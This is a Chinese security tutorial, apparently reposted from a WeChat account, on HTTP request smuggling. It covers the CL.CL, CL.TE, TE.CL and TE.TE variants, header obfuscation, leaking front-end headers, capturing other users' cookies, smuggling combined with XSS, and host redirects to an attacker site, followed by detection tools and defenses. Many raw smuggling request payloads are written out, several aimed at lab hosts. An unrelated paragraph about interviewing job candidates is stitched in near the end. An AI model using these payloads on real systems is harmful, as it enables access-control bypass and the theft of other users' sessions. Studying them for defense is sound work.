【表哥有话说 第97期】请求走私

admin 2023年8月16日19:38:26评论7 views字数 8687阅读28分57秒阅读模式

吼吼吼

“表哥有话说”准时上线

本周内容依旧通俗易懂干货满满

【表哥有话说 第97期】请求走私

请求走私


1


预备知识


不同版本的HTTP协议存在一定区别

【表哥有话说 第97期】请求走私

http1.1(应用层)

特性

• Keepalive

○ 建立一次tcp连接后,不会把连接关闭

• Pipline

○ 可在同一个请求的head(报头)写入两个http请求包

○ 客户端可以像流水线一样发送自己的HTTP请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端

○ 现在浏览器默认不启用Pipeline,但一般服务器都支持

• http协议中的Transfer-Encodeing,Content-Encoding

○ Transfer-Encoding是一个HTTP头部字段,是传输编码。被设计用来支持7-bit传输服务安全传输二进制数据的字段,在HTTP1.1引入,在HTTP/2中取消

○ Content-Encoding是一个内容编码。Content-Encoding通常用于对实体内容进行压缩编码。为优化传输,例如用gzip压缩文本文件,能大幅减小体积。内容编码通常是选择性的,例如 jpg / png 这类文件一般不开启,因为图片格式已经是高度压缩过的,再压一遍没什么效果不说还浪费 CPU。

○ Transfer-Encoding是用来改变报文格式,使传输体积变大。

○ 二者相辅相成,对于一个HTTP报文,很可能同时进行了内容编码和传输编码

○ Persistent Connection

▪ 持久连接,也叫长连接

▪ 由于http运行在tcp连接之上,所以也有tcp三次握手,慢启动等特性。所以持久连接是为了提高http性能,避开缓慢的三次握手和遇上tcp慢启动的拥塞适应阶段。

▪ http/1.0持久连接机制是后来才引入的,通过Connection:keep-alive这个头部实现,服务端和客户端都可以使用他告诉对方在发送完数据之后不需要断开tcp连接,以备后用。http/1.1中规定所用连接都必须持久,除非显示在头部加上Connection: close,所以实际上http/1.1中Connection这个头部字段已经没有keep-alive这个值,但由于历史原因,很多浏览器还是保留着给http/1.1长连接发送Connection: keep-alive 的习惯。

○ Content-Length

▪ 计算实体长度,通常如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成 pending。包括rn。

○ TTFB(Time To First Byte),它代表的是从客户端发送请求到收到响应的第一个字节所花费的时间,可从Network面板查看。追求更短的TTFB和服务端计算响应实体长度而缓存所有内容(因为有时可能由动态语言生成无法确定Content-Length,所以要开一个足够大的buffer,等内容全部生成好后在计算)背道而驰。则需要引入一个新的机制:不依赖头部的长度信息,也能知道实体的边界

○ Transfer-Encoding: chunked

▪ 头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码(chunked),报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包含它结尾或是分块数据结尾的CRLF(rn),最后一个分块长度值必须为0,对应的分块数据没有内容,表示实体结束。

JavaScript
require('net').createServer(function(sock) {
        sock.on('data', function(data) {
                sock.write('HTTP/1.1 200 OKrn');
                sock.write('Transfer-Encoding: chunkedrn');
                sock.write('rn');

                sock.write('brn');
                sock.write('01234567890rn');

                sock.write('5rn');
                sock.write('12345rn');

                sock.write('0rn');
                sock.write('rn');
        });
}).listen(9090, '127.0.0.1');



HTML
name=V0Keeper

2rn
narn
crn
me=V0WKeeperrn
0rn
rn


▪ 针对进行了内容编码(压缩)的内容再进行传输编码(分块)

• CL&TE解析优先级顺序

○ 在RFC中规定TE优先级高于CL,但是有些中间件没有按照规范实现,这就导致了差异性的存在

• Bad Chunked Transmission

○ RFC7230规定,当接收到Transfer-Encoding: chunked, zorg时返回400错误

2


漏洞背景

• 简单的网络环境中,我们直接通过浏览器访问服务器,但是由于很多静态资源需要在服务器提供,这种方式无疑是大大增加了web服务器的负荷。

• 而在稍微复杂的网络环境中,为了提升用户的浏览速度,提高使用体验,减轻服务器的负担,很多网站都用上了CDN加速服务,最简单的加速服务,就是在源站的前面加上一个具有缓存功能的反向代理服务器,用户在请求某些静态资源时,直接从代理服务器中就可以获取到,不用再从源站所在服务器获取。另一方面,这个反向代理可以隐藏web服务器的真实IP,所以很多中小型网站都采用类似方案。

• 一般来说,反向代理服务器与后端的源站服务器之间,会重用TCP链接。这也很容易理解,用户的分布范围是十分广泛,建立连接的时间也是不确定的,这样TCP链接就很难重用,而代理服务器与后端的源站服务器的IP地址是相对固定,不同用户的请求通过代理服务器与源站服务器建立链接,这两者之间的TCP链接进行重用,也就顺理成章了。

• 当我们向代理服务器发送一个比较模糊的HTTP请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个HTTP请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了HTTP走私攻击。

3


漏洞类型

• http请求走私漏洞的产生:大多数HTTP请求的走私漏洞出现是因为HTTP规范提供了两种不同的方式来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头。前端的反向代理服务器和后端的Web服务器,对同一个请求的理解不一致。

• 一段时间内有很多用户访问这个网站,其中一个攻击者,恶意构造一个请求,这个请求在前端服务器的理解是两个请求,而后端服务器理解是一个请求和一个不完整的请求,于是会继续等待,等待到正常用户的访问,将其拼接起来,然后认为这个拼接的请求是一个完整的请求,之后对其响应。

• 如何执行http请求走私攻击

○ 请求走私攻击涉及将Content-Length标头和Transfer-Encoding标头放入单个HTTP请求并对其进行操作,以便前端和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为:

▪ CL!=0:前端服务器允许GET请求携带请求体,后端服务器不允许GET请求携带请求体。

▪ CL.CL:前端服务器和后端服务器都支持Content-Length头部

▪ CL.TE:前端服务器使用Content-Length头部,后端服务器使用Transfer-Encoding头部。

▪ TE.CL:前端服务器使用Transfer-Encoding头部,后端服务器使用Content-Length头部。

▪ TE.TE:前端服务器和后端服务器都支持Transfer-Encoding头部,但是可以通过某种方式混淆头部来诱导其中一个服务器不处理它。

• CL!=0

○ 由于后端不允许使用GET请求体,直接忽略掉Content-Length头,即不进行处理,这就有可能导致走私

○ 例如构造请求

HTML
GET / HTTP/1.1rn
Host: example.comrn
Conten-Length: 44rn

GET / secret HTTP/1.1rn
Host: example.comrn
rn


○ 前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,因为后端不对Content-Length进行处理,由于Pipeline的存在,它就认为这时收到了两个请求,分别是

HTML
第一个
GET / HTTP/1.1rn
Host: example.comrn
Content-Length: 44rn

第二个
GET / secret HTTP/1.1rn
Host: example.comrn


• CL.CL

○ 在RFC7230中规定,当服务器收到的请求中包含两个Content-Length,而且两者值不同时,返回400错误

○ 但有些服务器不会严格实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求都不会发生400错误,但中间代理服务器按第一个Content-Length值对请求进行处理,而后端源站服务器按第二Content-Length的值进行处理

○ 此时可以构造:

HTML
POST / HTTP/1.1rn
Host: example.comrn
Content-Length: 8rn
Content-Length: 7rn

12345rn
a


○ 这样中间代理服务器获取数据包长度为8则整个数据包原封不动的转发给后端,后端由于获取7个,则字母a会被认为下一个请求。假设恰好有一个其他的正常用户进行请求,则:

HTML
aGET /index.html HTTP/1.1rn
Host: example.comrn


• CL.TE

○ 在RFC2616规定,如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头不会返回400错误。

○ 则CL.TE就是前端代理服务器只处理Content-Length请求头,后端服务器遵循RFC2616规定处理Transfer-Encoding请求头(不是只能处理TE)

○ 发包时要注意有:Transfer-Encoding: chunked

○ 例:

HTML
POST / HTTP/1.1
Host: xxx
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1


• TE.CL

○ 需要rnrn在最后的0

○ 前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,它被声明为 8 个字节长,直到下面一行的开头SMUGGLED。它处理被声明为零长度的第二个块,因此被视为终止请求。该请求被转发到后端服务器。


○ 后端服务器处理Content-Length标头并确定请求正文的长度为 3 个字节,直到8rn. 以下SMUGGLED未处理,后端服务器会将它们视为序列中下一个请求的开始。

• TE.TE行为:混淆TE标头

HTML
POST / HTTP/1.1
Host: ac991f181e14509a80e729a500980063.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: anyinvaild
rn
5crn
GPOST / HTTP/1.1rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 15rn
rn
x=1rn
0rn
rn


○ 有多种方法混淆Transfer-Encoding标题:

▪ Transfer-Encoding: xchunked

▪ Transfer-Encoding : chunked

▪ Transfer-Encoding: chunked

▪ Transfer-Encoding: x

▪ Transfer-Encoding:[tab]chunked

▪ [space]Transfer-Encoding: chunked

▪ X: X[n]Transfer-Encoding: chunked

▪ Transfer-Encoding

: chunked

根据可以诱导不处理混淆Transfer-Encoding标头的是前端还是后端服务器,攻击的其余部分将采用与已经描述的 CL.TE 或 TE.CL 漏洞相同的形式。

4


攻击方式

1)显示修改的文件头

• 在有些网络环境下,前端代理服务器收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器,比如描述TLS连接的协议和密码,包含用户IP地址的xff头,用户的token等

• 我们需要获取这些重写或添加的字段,使走私的请求正常处理

• 下面给个在CL-TE场景的例子:

○ 首先尝试请求走私访问admin,被提示权限不够

○ 尝试利用搜索回显把前端服务器转发的请求头泄露:

HTTP
POST / HTTP/1.1
Host: acc61fe41f553ac880ba439700060035.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie: session=LyaWdPjtN9GYWViLvsbQ8go6gAqSMJLZ
Content-Length: 103
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123


▪ 我们可以看到,走私过去的请求为:

HTTP
POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123


▪ 由于Content-Length为99,当我们继续发送相同的数据包,后端服务器接收到前端服务器已经处理好的请求,直到接收的数据的总长度到达99

HTTP
POST / HTTP/1.1
Content-Length: 99
Content-Type: application/x-www-form-urlencoded

search=123POST / HTTP/1.1
X-txptGX-Ip: 58.32.7.15
Host: acc61fe41f553ac880ba439700060035.web-secu


▪ 可以看出添加的请求头尾X-txptGX-Ip:127.0.0.1

▪ 这里注意走私时加上Content-Length字段,防止X-txptGX-Ip被覆盖

HTTP
POST / HTTP/1.1
Host: acc61fe41f553ac880ba439700060035.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Cookie: session=LyaWdPjtN9GYWViLvsbQ8go6gAqSMJLZ
Content-Length: 75
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-txptGX-Ip: 127.0.0.1
Content-Length: 10

search=1


▪ 这样即使加上header也会被10个给截断

2)获取其他用户请求信息

• 既然可以拿到前端服务器(中间件)的请求,我们也可以尝试去拿其他用户的请求,也能拿到Cookie等

• 理论上成功,但是不太容易抓到别人的请求,CL调太高了容易爆Internal Server Error

3)走私+xss

HTTP
POST HTTP/1.1
Host:ac9elf4d1e541e868059287a003b0028.web-security-academy.net
Content-Type:application/x-www-form-urlencoded
Content-Length:123
Transfer-Encoding:chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent:">#
Content-Type:application/x-www-form-urlencoded

4)网站页面重定向(host跳转攻击)

• 利用请求修改host

• 在Apache&IIS服务器上,一个uri最后不带/的请求会被30x导向带/的地址,例如发送:


HTTP
GET /home HTTP/1.1
Host: normal-website.com


得到
HTTP/1.1 301 Moved Permanently
content-type: text/html; charset=utf-8
location: https://normal-website.com/
content-length: 62

Moved Permanently.



• 配合走私:


HTTP
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X



• 得到


HTTP
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com





HTTP
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/



• 也就是访问/scripts/include.js的用户会跳转到我们的控制的url

考核求职者的动机与工作期望,考核求职者仪表、性格、知识等特征,考核笔试中难以获得的信息,考核求职者的动机与工作期望。


考核求职者仪表、性格、知识等特征,考核笔试中难以获得的信息,考核求职者的动机与工作期望。

5


检测工具

• HTTP Request Smuggler,一款Burp插件,主要是针对一个请求,自动化的对其可能存在HTTP请求走私进行测试,右键Launch Smuggle probe可以选择很多payload

【表哥有话说 第97期】请求走私

• 设置Content-Length和Transfer-Encoding:chunked,右键选择Smuggle Attack(CL-TE),进行攻击,也可以进行脚本修改和选择不同的攻击脚本

• 若看到不同结果,说明存在HTTP请求走私

【表哥有话说 第97期】请求走私

6


防御方法

• 通用方法:

○ 禁用代理服务器与后端服务器的TCP连接重用

○ 使用HTTP/2协议

○ 前后端使用相同的服务器

• 以上方法有的不能从根本上解决问题

○ 第一个方法会增大后端服务器的压力

○ 第二个方法在现在的网络条件下无法推广使用

• 最好的解决方案是严格实现RFC7230-7235中规定的标准,但这也是最难做到的


马上开学啦

有兴趣加入我们的同学记得提前进群

群里的表哥们都会耐心为各位答疑解惑哦~


【表哥有话说 第97期】请求走私

原文始发于微信公众号(SKSEC):【表哥有话说 第97期】请求走私

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月16日19:38:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第97期】请求走私https://cn-sec.com/archives/1960018.html

发表评论

匿名网友 填写信息